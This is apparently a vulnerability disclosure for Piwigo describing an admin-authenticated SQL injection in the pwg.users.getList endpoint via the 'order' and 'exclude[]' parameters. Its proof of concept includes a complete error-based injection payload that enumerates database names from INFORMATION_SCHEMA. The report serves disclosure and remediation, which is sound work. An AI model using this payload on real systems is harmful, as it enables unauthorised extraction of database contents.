Description

Authenticated admin can perform an SQL injection attack by abusing the "Users" function.

Proof of Concept

• Log in as an admin and access the 'Users' function.

• Observe the request on Burp suite POST /piwigo/ws.php?format=json&method=pwg.users.getList.

• Manipulate the 'order' or 'exclude[]' parameter by adding a single quote, and an error in MYSQL shows up, proving the existence of SQL injection. We can try to retrieve all the databases name with the error-based payload id AND (SELECT 2690 FROM(SELECT COUNT(*),CONCAT(0x716b707671,(SELECT MID((IFNULL(CAST(schema_name AS NCHAR),0x20)),1,51) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),0x7162787071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) , just increasing the LIMIT value to enumerate all the databases name.

Impact

Authenticated admin can dump all the database information